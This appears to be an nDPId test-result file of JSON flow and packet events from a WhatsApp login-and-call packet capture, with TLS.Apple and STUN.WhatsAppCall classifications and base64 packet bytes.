+00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1432582285062,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00523{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":3,"flow_first_seen":1432582223077,"flow_last_seen":1432582223379,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.154.66.111","src_port":49163,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"}} +00497{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":3,"flow_first_seen":1432582223077,"flow_last_seen":1432582223379,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.154.66.111","src_port":49163,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00523{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":3,"flow_first_seen":1432582223075,"flow_last_seen":1432582223379,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.154.66.121","src_port":49166,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"}} +00497{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":3,"flow_first_seen":1432582223075,"flow_last_seen":1432582223379,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.154.66.121","src_port":49166,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00524{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":3,"flow_first_seen":1432582225329,"flow_last_seen":1432582225381,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.130.137.77","src_port":49176,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"}} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":3,"flow_first_seen":1432582225329,"flow_last_seen":1432582225381,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.130.137.77","src_port":49176,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00519{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":5,"flow_first_seen":1432582224230,"flow_last_seen":1432582224260,"flow_tot_l4_data_len":221,"flow_min_l4_data_len":20,"flow_max_l4_data_len":117,"flow_avg_l4_data_len":44,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"23.50.148.228","src_port":49172,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":5,"flow_first_seen":1432582224230,"flow_last_seen":1432582224260,"flow_tot_l4_data_len":221,"flow_min_l4_data_len":20,"flow_max_l4_data_len":117,"flow_avg_l4_data_len":44,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"23.50.148.228","src_port":49172,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00524{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":3,"flow_first_seen":1432582227884,"flow_last_seen":1432582228167,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":20,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.178.104.14","src_port":49203,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"}} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":3,"flow_first_seen":1432582227884,"flow_last_seen":1432582228167,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":20,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.178.104.14","src_port":49203,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00523{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":3,"flow_first_seen":1432582225324,"flow_last_seen":1432582225533,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.55","src_port":49165,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"}} +00497{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":3,"flow_first_seen":1432582225324,"flow_last_seen":1432582225533,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.55","src_port":49165,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00523{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":3,"flow_first_seen":1432582225313,"flow_last_seen":1432582225533,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.53","src_port":49175,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"}} +00497{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":3,"flow_first_seen":1432582225313,"flow_last_seen":1432582225533,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.53","src_port":49175,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00523{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":3,"flow_first_seen":1432582224208,"flow_last_seen":1432582224417,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.173.66.102","src_port":49169,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"}} +00497{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":3,"flow_first_seen":1432582224208,"flow_last_seen":1432582224417,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.173.66.102","src_port":49169,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00823{"flow_id":41,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":868,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582288,"pkt_ts_usec":984274,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIRFAAAP8RdlUAAAAA\/\/\/\/\/wBEAEMBNOdPAQEGALYzLg0AEQAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwkBAwYPd1\/8LC45AgXcPQcB2DBiVgAcMwQAdqcADApMdWNhcy1pTWFj\/wAAAAAAAAAAAAAAAAAA"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":871,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1432582296337,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.73.48","src_port":52794,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00577{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":871,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":337662,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACalSUAAEARuYTAqAIEHw1JMM46DZYAhue1AAMAaiESpEIAAPA16Ue1KOAmhBVAAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":871,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1432582296337,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.73.48","src_port":52794,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00577{"flow_id":48,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":872,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":337727,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACaZm0AAEAR6DzAqAIEHw1JMM46DZYAhue1AAMAaiESpEIAAPA16Ue1KOAmhBVAAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":873,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1432582296337,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.93.48","src_port":52794,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00577{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":873,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":337848,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACajDIAAEARrnfAqAIEHw1dMM46DZYAhkaaAAMAaiESpEIAABQXleBLNAVxhWFAAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":873,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1432582296337,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.93.48","src_port":52794,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00577{"flow_id":49,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":874,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":337941,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACalgkAAEARpKDAqAIEHw1dMM46DZYAhkaaAAMAaiESpEIAABQXleBLNAVxhWFAAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":875,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1432582296338,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.79.192","src_port":52794,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00578{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":875,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":338078,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACaRlMAAEARAcfAqAIEHw1PwM46DZYAhjlFAAMAaiESpEIAAL9\/1m08YXkuT0ZAAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":875,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1432582296338,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.79.192","src_port":52794,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00578{"flow_id":50,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":876,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":338210,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACa1Y0AAEARcozAqAIEHw1PwM46DZYAhjlFAAMAaiESpEIAAL9\/1m08YXkuT0ZAAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":877,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1432582296338,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"179.60.192.48","src_port":52794,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00577{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":877,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":338341,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACaIqQAAEARINbAqAIEszzAMM46DZYAhuAOAAMAaiESpEIAAHR4erx3E5L39hlAAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":877,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1432582296338,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"179.60.192.48","src_port":52794,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00577{"flow_id":51,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":878,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":338539,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACaNRkAAEARDmHAqAIEszzAMM46DZYAhuAOAAMAaiESpEIAAHR4erx3E5L39hlAAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":879,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1432582296338,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"173.252.114.1","src_port":52794,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00577{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":879,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":338593,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACa4C0AAEARtrvAqAIErfxyAc46DZYAhqERAAMAaiESpEIAAPckPngMfZVuqj1AAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":879,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1432582296338,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"173.252.114.1","src_port":52794,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00577{"flow_id":52,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":880,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":338735,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACaP+kAAEARVwDAqAIErfxyAc46DZYAhqERAAMAaiESpEIAAPckPngMfZVuqj1AAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":881,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1432582296338,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.90.48","src_port":52794,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00577{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":881,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":338853,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACaOAUAAEARBaXAqAIEHw1aMM46DZYAhuQ6AAMAaiESpEIAAEIAbV8qcywo32JAAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":881,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1432582296338,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.90.48","src_port":52794,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00577{"flow_id":53,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":882,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":339205,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACaLOMAAEAREMfAqAIEHw1aMM46DZYAhuQ6AAMAaiESpEIAAEIAbV8qcywo32JAAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":883,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1432582296339,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.74.48","src_port":52794,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00577{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":883,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582296,"pkt_ts_usec":339330,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACafE8AAEAR0VrAqAIEHw1KMM46DZYAhr8lAAMAaiESpEIAAMYoECn4BPzbT0BAAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":883,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1432582296339,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.74.48","src_port":52794,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} 